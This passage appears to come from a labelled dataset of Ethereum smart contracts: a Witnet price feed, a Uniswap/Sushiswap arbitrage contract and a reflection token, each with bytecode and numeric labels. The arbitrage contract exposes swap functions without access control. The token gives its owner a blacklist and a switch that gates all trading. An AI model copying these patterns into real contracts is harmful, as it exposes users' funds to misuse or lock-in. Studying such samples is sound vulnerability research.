returns (Witnet.ErrorCodes, string memory e) { errorMessage = e; } catch (bytes memory errorBytes){ errorMessage = string(errorBytes); } emit ResultError(errorMessage); } // In any case, set `pending` to false so a new update can be requested pending = false; } /** * @notice Exposes the public data point in an ERC2362 compliant way. * @dev Returns error `400` if queried for an unknown data point, and `404` if `completeUpdate` has never been called * successfully before. **/ function valueFor(bytes32 _id) external view override returns(int256, uint256, uint256) { // Unsupported data point ID if(_id != BTCUSD3ID) return(0, 0, 400); // No value is yet available for the queried data point ID if (timestamp == 0) return(0, 0, 404); int256 value = int256(uint256(lastPrice)); return(value, timestamp, 200); } }
0x6080604052600436106100865760003560e01c8063b80777ea11610059578063b80777ea14610151578063e20ccec314610167578063f78eea8314610191578063f9881eb6146101cc578063fc2a88c3146101e157600080fd5b8063053f14da1461008b578063338cdca1146100c857806357e0f23d146101055780639c312cfd14610147575b600080fd5b34801561009757600080fd5b506000546100ab906001600160401b031681565b6040516001600160401b0390911681526020015b60405180910390f35b3480156100d457600080fd5b506003546100ed9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016100bf565b34801561011157600080fd5b506101397f637b7efb6b620736c247aaa282f3898914c0bef6c12faff0d3fe9d4bea78302081565b6040519081526020016100bf565b61014f6101f7565b005b34801561015d57600080fd5b5061013960025481565b34801561017357600080fd5b506003546101819060ff1681565b60405190151581526020016100bf565b34801561019d57600080fd5b506101b16101ac366004610a21565b61029a565b604080519384526020840192909252908201526060016100bf565b3480156101d857600080fd5b5061014f61030c565b3480156101ed57600080fd5b5061013960015481565b60035460ff161561026c5760405162461bcd60e51b815260206004820152603460248201527f436f6d706c6574652070656e64696e672072657175657374206265666f72652060448201527372657175657374696e672061206e6577206f6e6560601b60648201526084015b60405180910390fd5b6003546102869061010090046001600160a01b0316610668565b60019081556003805460ff19169091179055565b60008060007f637b7efb6b620736c247aaa282f3898914c0bef6c12faff0d3fe9d4bea78302084146102d6575060009150819050610190610305565b6002546102ed575060009150819050610194610305565b50506000546002546001600160401b03909116915060c85b9193909250565b60015461031881610710565b61038a5760405162461bcd60e51b815260206004820152603860248201527f5769746e65742072657175657374206973206e6f7420796574207265736f6c7660448201527f656420627920746865205769746e6574206e6574776f726b00000000000000006064820152608401610263565b60035460ff166103dc5760405162461bcd60e51b815260206004820152601b60248201527f5468657265206973206e6f2070656e64696e67207570646174652e00000000006044820152606401610263565b60006103e96001546107b3565b604051636646c11960e01b815290915073916ac9636f4ea9f54f07c9de8fdcd828e1b32c9b90636646c11990610423908490600401610c8b565b60206040518083038186803b15801561043b57600080fd5b505af415801561044f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104739190610a07565b1561055b57604051638233f9b360e01b815273916ac9636f4ea9f54f07c9de8fdcd828e1b32c9b90638233f9b3906104af908490600401610c8b565b60206040518083038186803b1580156104c757600080fd5b505af41580156104db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ff9190610c32565b6000805467ffffffffffffffff19166001600160401b03929092169182179055426002556040519081527f4d546c1b6053d30b99f5cd2393695c6057211f89109561bedbe05a1af8a0d0a49060200160405180910390a161065a565b6040516323317ad560e21b815260609073916ac9636f4ea9f54f07c9de8fdcd828e1b32c9b90638cc5eb5490610595908590600401610c8b565b60006040518083038186803b1580156105ad57600080fd5b505af49250505080156105e257506040513d6000823e601f3d908101601f191682016040526105df9190810190610a73565b60015b61061d573d808015610610576040519150601f19603f3d011682016040523d82523d6000602084013e610615565b606091505b509050610621565b9150505b7fbfea49e8f99b20639d8417dbf46bab7c20b217fbe894ea27a249c990c1a359d6816040516106509190610c78565b60405180910390a1505b50506003805460ff19169055565b6040516375f0fea960e01b81526001600160a01b0382811660048301526000917f000000000000000000000000400dbf3645b345823124aab22d04013a46d9ced5909116906375f0fea99034906024016020604051808303818588803b1580156106d157600080fd5b505af11580156106e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070a9190610c1a565b92915050565b604051631a315e0f60e11b8152600481018290526000907f000000000000000000000000400dbf3645b345823124aab22d04013a46d9ced56001600160a01b031690633462bc1e9060240160206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab9190610c1a565b151592915050565b6108096040805180820182526000808252825161010081018452606060c0820181815260e083018490528252602082810184905294820183905281018290526080810182905260a0810191909152909182015290565b6040516322d9ebc160e11b81526004810183905273916ac9636f4ea9f54f07c9de8fdcd828e1b32c9b9063e99e47f3906001600160a01b037f000000000000000000000000400dbf3645b345823124aab22d04013a46d9ced516906345b3d7829060240160006040518083038186803b15801561088557600080fd5b505afa158015610899573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526108c19190810190610a39565b6040518263ffffffff1660e01b81526004016108dd9190610c78565b60006040518083038186803b1580156108f557600080fd5b505af4158015610909573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261070a9190810190610ad8565b60006001600160401b038084111561094b5761094b610dbe565b604051601f8501601f19908116603f0116810190828211818310171561097357610973610dbe565b8160405280935085815286868601111561098c57600080fd5b61099a866020830187610d8e565b5050509392505050565b805180151581146109b457600080fd5b919050565b600082601f8301126109c9578081fd5b6109d883835160208501610931565b9392505050565b80516001600160401b03811681146109b457600080fd5b805160ff811681146109b457600080fd5b600060208284031215610a18578081fd5b6109d8826109a4565b600060208284031215610a32578081fd5b5035919050565b600060208284031215610a4a578081fd5b81516001600160401b03811115610a5f578182fd5b610a6b848285016109b9565b949350505050565b60008060408385031215610a85578081fd5b82516101008110610a94578182fd5b60208401519092506001600160401b03811115610aaf578182fd5b8301601f81018513610abf578182fd5b610ace85825160208401610931565b9150509250929050565b60006020808385031215610aea578182fd5b82516001600160401b0380821115610b00578384fd5b9084019060408287031215610b13578384fd5b610b1b610d44565b610b24836109a4565b81528383015182811115610b36578586fd5b929092019160c08388031215610b4a578485fd5b610b52610d6c565b835183811115610b60578687fd5b84016040818a031215610b71578687fd5b610b79610d44565b815185811115610b87578889fd5b610b938b8285016109b9565b82525086820151945063ffffffff85168514610bad578788fd5b808701859052825250610bc18486016109f6565b85820152610bd1604085016109f6565b6040820152610be2606085016109f6565b6060820152610bf3608085016109df565b6080820152610c0460a085016109df565b60a0820152938101939093525090949350505050565b600060208284031215610c2b578081fd5b5051919050565b600060208284031215610c43578081fd5b6109d8826109df565b60008151808452610c64816020860160208601610d8e565b601f01601f19169290920160200192915050565b6020815260006109d86020830184610c4c565b6020815281511515602082015260006020830151604080840152805160c0606085015280516040610120860152610cc6610160860182610c4c565b60209283015163ffffffff166101408701529183015160ff81166080870152919050604083015160ff811660a08701529150606083015160ff811660c0870152915060808301516001600160401b03811660e0870152915060a08301519250610d3b6101008601846001600160401b03169052565b95945050505050565b604080519081016001600160401b0381118282101715610d6657610d66610dbe565b60405290565b60405160c081016001600160401b0381118282101715610d6657610d66610dbe565b60005b83811015610da9578181015183820152602001610d91565b83811115610db8576000848401525b50505050565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220d58807c859755caa15286732419b73f376dbd93a836e9088de2bb2a1161063ff64736f6c63430008040033
[ 13, 5, 9, 12 ]
0xf2723040bcae1861f38bbb75d77dfab734fd097d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IUniswapV2Router02.sol"; import "./IERC20.sol"; contract SimpleArbitrage { address public owner; address public wethAddress; address public daiAddress; address public uniswapRouterAddress; address public sushiswapRouterAddress; uint256 public arbitrageAmount; uint256 public contractbalance; enum Exchange { UNI, SUSHI, NONE } constructor( address _uniswapRouterAddress, address _sushiswapRouterAddress, address _weth, address _dai ) { uniswapRouterAddress = _uniswapRouterAddress; sushiswapRouterAddress = _sushiswapRouterAddress; owner = msg.sender; wethAddress = _weth; daiAddress = _dai; } modifier onlyOwner() { require(msg.sender == owner, "only owner can call this"); _; } function changeOwner(address newOwner) public onlyOwner { owner = newOwner; } function deposit() public payable{ contractbalance += msg.value; } function withdraw(uint256 amount, address receiveaddress) public onlyOwner { require(amount <= contractbalance, "Not enough amount deposited"); payable(receiveaddress).transfer(amount); contractbalance -= amount; } function setabitrigeamount(uint256 abt_amount) public onlyOwner{ arbitrageAmount = abt_amount; } function makeArbitrage(address temptoken) public { uint256 amountIn = arbitrageAmount; Exchange result = _comparePrice(amountIn, temptoken); if (result == Exchange.UNI) { // sell ETH in uniswap for DAI with high price and buy ETH from sushiswap with lower price uint256 amountOut = _swap( amountIn, uniswapRouterAddress, wethAddress, temptoken ); uint256 amountFinal = _swap( amountOut, sushiswapRouterAddress, temptoken, wethAddress ); contractbalance -= arbitrageAmount; contractbalance += amountFinal; } else if (result == Exchange.SUSHI) { // sell ETH in sushiswap for DAI with high price and buy ETH from uniswap with lower price uint256 amountOut = _swap( amountIn, sushiswapRouterAddress, wethAddress, temptoken ); uint256 amountFinal = _swap( amountOut, uniswapRouterAddress, temptoken, wethAddress ); contractbalance -= arbitrageAmount; contractbalance += amountFinal; } } //test function makeabtsu(address temptoken) public onlyOwner returns(uint256) { uint256 amountIn = arbitrageAmount; uint256 amountOut = _swap( amountIn, sushiswapRouterAddress, wethAddress, temptoken ); uint256 amountFinal = _swap( amountOut, uniswapRouterAddress, temptoken, wethAddress ); return amountFinal; } function makeabtus(address temptoken) public onlyOwner returns(uint256) { uint256 amountIn = arbitrageAmount; uint256 amountOut = _swap( amountIn, uniswapRouterAddress, wethAddress, temptoken ); uint256 amountFinal = _swap( amountOut, sushiswapRouterAddress, temptoken, wethAddress ); return amountFinal; } function _swap( uint256 amountIn, address routerAddress, address sell_token, address buy_token ) public returns (uint256) { uint256 amountOutMin = (_getPrice( routerAddress, sell_token, buy_token, amountIn ) * 95) / 100; address[] memory path = new address[](2); path[0] = sell_token; path[1] = buy_token; if(sell_token == wethAddress){ uint256 amountOut = IUniswapV2Router02(routerAddress) .swapExactETHForTokens{value:amountIn}( amountOutMin, path, address(this), block.timestamp + 300 )[1]; return amountOut; } else{ require(IERC20(sell_token).approve(routerAddress, amountIn + 10000), 'approval failed'); uint256 amountOut = IUniswapV2Router02(routerAddress) .swapExactTokensForTokens( amountIn, amountOutMin, path, address(this), block.timestamp + 300 )[1]; return amountOut; } } function _comparePrice(uint256 amount, address temptoken) internal view returns (Exchange) { uint256 uniswapPrice = _getPrice( uniswapRouterAddress, wethAddress, temptoken, amount ); uint256 sushiswapPrice = _getPrice( sushiswapRouterAddress, wethAddress, temptoken, amount ); // we try to sell ETH with higher price and buy it back with low price to make profit if (uniswapPrice > sushiswapPrice) { require( _checkIfArbitrageIsProfitable( uniswapPrice, sushiswapPrice ), "Arbitrage not profitable" ); return Exchange.UNI; } else if (uniswapPrice < sushiswapPrice) { require( _checkIfArbitrageIsProfitable( sushiswapPrice, uniswapPrice ), "Arbitrage not profitable" ); return Exchange.SUSHI; } else { return Exchange.NONE; } } function _checkIfArbitrageIsProfitable( uint256 higherPrice, uint256 lowerPrice ) internal pure returns (bool) { // uniswap & sushiswap have 0.3% fee for every exchange // so gain made must be greater than 2 * 0.3% * arbitrage_amount // difference in ETH uint256 difference = higherPrice - lowerPrice; uint256 payed_fee = (2 * (lowerPrice * 3)) / 1000; if (difference > payed_fee) { return true; } else { return false; } } function _getPrice( address routerAddress, address sell_token, address buy_token, uint256 amount ) internal view returns (uint256) { address[] memory pairs = new address[](2); pairs[0] = sell_token; pairs[1] = buy_token; uint256 price = IUniswapV2Router02(routerAddress).getAmountsOut( amount, pairs )[1]; return price; } }
0x6080604052600436106100e75760003560e01c80634f0e0ef31161008a578063b86d9f4b11610059578063b86d9f4b1461026f578063c55677d11461028f578063c599e7b1146102af578063d0e30db0146102c557600080fd5b80634f0e0ef3146101ef57806362962e931461020f5780638da5cb5b1461022f578063a6f9dae11461024f57600080fd5b806320ca3c7f116100c657806320ca3c7f1461016b5780632c3872751461018b5780633057d72f146101ab57806330e4f9aa146101cb57600080fd5b8062f714ce146100ec5780630322550d1461010e57806319d0a9a21461012e575b600080fd5b3480156100f857600080fd5b5061010c610107366004610d31565b6102cd565b005b34801561011a57600080fd5b5061010c610129366004610c0f565b6103a4565b34801561013a57600080fd5b5060045461014e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561017757600080fd5b5060035461014e906001600160a01b031681565b34801561019757600080fd5b5060025461014e906001600160a01b031681565b3480156101b757600080fd5b5061010c6101c6366004610d18565b6104f1565b3480156101d757600080fd5b506101e160065481565b604051908152602001610162565b3480156101fb57600080fd5b5060015461014e906001600160a01b031681565b34801561021b57600080fd5b506101e161022a366004610d5d565b610520565b34801561023b57600080fd5b5060005461014e906001600160a01b031681565b34801561025b57600080fd5b5061010c61026a366004610c0f565b61080c565b34801561027b57600080fd5b506101e161028a366004610c0f565b610858565b34801561029b57600080fd5b506101e16102aa366004610c0f565b6108d9565b3480156102bb57600080fd5b506101e160055481565b61010c61094f565b6000546001600160a01b031633146103005760405162461bcd60e51b81526004016102f790610dee565b60405180910390fd5b6006548211156103525760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820616d6f756e74206465706f7369746564000000000060448201526064016102f7565b6040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610388573d6000803e3d6000fd5b50816006600082825461039b9190610f08565b90915550505050565b60055460006103b38284610968565b905060008160028111156103c9576103c9610f35565b1415610453576003546001546000916103f19185916001600160a01b03908116911687610520565b6004546001549192506000916104179184916001600160a01b0391821691899116610520565b90506005546006600082825461042d9190610f08565b9250508190555080600660008282546104469190610eaf565b909155506104ec92505050565b600181600281111561046757610467610f35565b14156104ec5760045460015460009161048f9185916001600160a01b03908116911687610520565b6003546001549192506000916104b59184916001600160a01b0391821691899116610520565b9050600554600660008282546104cb9190610f08565b9250508190555080600660008282546104e49190610eaf565b909155505050505b505050565b6000546001600160a01b0316331461051b5760405162461bcd60e51b81526004016102f790610dee565b600555565b60008060646105318686868a610a86565b61053c90605f610ee9565b6105469190610ec7565b6040805160028082526060820183529293506000929091602083019080368337019050509050848160008151811061058057610580610f4b565b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106105b4576105b4610f4b565b6001600160a01b039283166020918202929092010152600154868216911614156106955760006001600160a01b038716637ff36ab5898585306105f94261012c610eaf565b6040518663ffffffff1660e01b81526004016106189493929190610e3e565b6000604051808303818588803b15801561063157600080fd5b505af1158015610645573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261066e9190810190610c31565b60018151811061068057610680610f4b565b60200260200101519050809350505050610804565b6001600160a01b03851663095ea7b3876106b18a612710610eaf565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156106f757600080fd5b505af115801561070b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072f9190610cf6565b61076d5760405162461bcd60e51b815260206004820152600f60248201526e185c1c1c9bdd985b0819985a5b1959608a1b60448201526064016102f7565b60006001600160a01b0387166338ed17398985853061078e4261012c610eaf565b6040518663ffffffff1660e01b81526004016107ae959493929190610e73565b600060405180830381600087803b1580156107c857600080fd5b505af11580156107dc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261066e9190810190610c31565b949350505050565b6000546001600160a01b031633146108365760405162461bcd60e51b81526004016102f790610dee565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b031633146108835760405162461bcd60e51b81526004016102f790610dee565b6005546004546001546000916108a89184916001600160a01b03908116911687610520565b6003546001549192506000916108ce9184916001600160a01b0391821691899116610520565b93505050505b919050565b600080546001600160a01b031633146109045760405162461bcd60e51b81526004016102f790610dee565b6005546003546001546000916109299184916001600160a01b03908116911687610520565b6004546001549192506000916108ce9184916001600160a01b0391821691899116610520565b34600660008282546109619190610eaf565b9091555050565b600354600154600091829161098b916001600160a01b0390811691168587610a86565b6004546001549192506000916109af916001600160a01b0390811691168688610a86565b905080821115610a15576109c38282610baf565b610a0a5760405162461bcd60e51b8152602060048201526018602482015277417262697472616765206e6f742070726f66697461626c6560401b60448201526064016102f7565b600092505050610a80565b80821015610a7957610a278183610baf565b610a6e5760405162461bcd60e51b8152602060048201526018602482015277417262697472616765206e6f742070726f66697461626c6560401b60448201526064016102f7565b600192505050610a80565b6002925050505b92915050565b604080516002808252606082018352600092839291906020830190803683370190505090508481600081518110610abf57610abf610f4b565b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110610af357610af3610f4b565b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b815260009188169063d06ca61f90610b329087908690600401610e25565b60006040518083038186803b158015610b4a57600080fd5b505afa158015610b5e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b869190810190610c31565b600181518110610b9857610b98610f4b565b602002602001015190508092505050949350505050565b600080610bbc8385610f08565b905060006103e8610bce856003610ee9565b610bd9906002610ee9565b610be39190610ec7565b905080821115610a0a57600192505050610a80565b80356001600160a01b03811681146108d457600080fd5b600060208284031215610c2157600080fd5b610c2a82610bf8565b9392505050565b60006020808385031215610c4457600080fd5b825167ffffffffffffffff80821115610c5c57600080fd5b818501915085601f830112610c7057600080fd5b815181811115610c8257610c82610f61565b8060051b604051601f19603f83011681018181108582111715610ca757610ca7610f61565b604052828152858101935084860182860187018a1015610cc657600080fd5b600095505b83861015610ce9578051855260019590950194938601938601610ccb565b5098975050505050505050565b600060208284031215610d0857600080fd5b81518015158114610c2a57600080fd5b600060208284031215610d2a57600080fd5b5035919050565b60008060408385031215610d4457600080fd5b82359150610d5460208401610bf8565b90509250929050565b60008060008060808587031215610d7357600080fd5b84359350610d8360208601610bf8565b9250610d9160408601610bf8565b9150610d9f60608601610bf8565b905092959194509250565b600081518084526020808501945080840160005b83811015610de35781516001600160a01b031687529582019590820190600101610dbe565b509495945050505050565b60208082526018908201527f6f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b8281526040602082015260006108046040830184610daa565b848152608060208201526000610e576080830186610daa565b6001600160a01b03949094166040830152506060015292915050565b85815284602082015260a060408201526000610e9260a0830186610daa565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115610ec257610ec2610f1f565b500190565b600082610ee457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610f0357610f03610f1f565b500290565b600082821015610f1a57610f1a610f1f565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212203221bbab90dbf401b51dea3f8a16f18cdc7d3fdca5218e4ad5e70e3cb08e902b64736f6c63430008070033
[ 11 ]
0xf2724a70dc8ca496883187156a3733b955d899d3
/** */ // Exquisite. // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TheHoldersClub is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "The Holders Club"; string private constant _symbol = "THC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 4; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 4; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xE37C5Ebc26A12b36e98a80A9d5C7F9832f01848f); address payable private _marketingAddress = payable(0xE37C5Ebc26A12b36e98a80A9d5C7F9832f01848f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 750000000000 * 10**9; //0.75 uint256 public _maxWalletSize = 1000000000000 * 10**9; //1 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; bots[address(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = 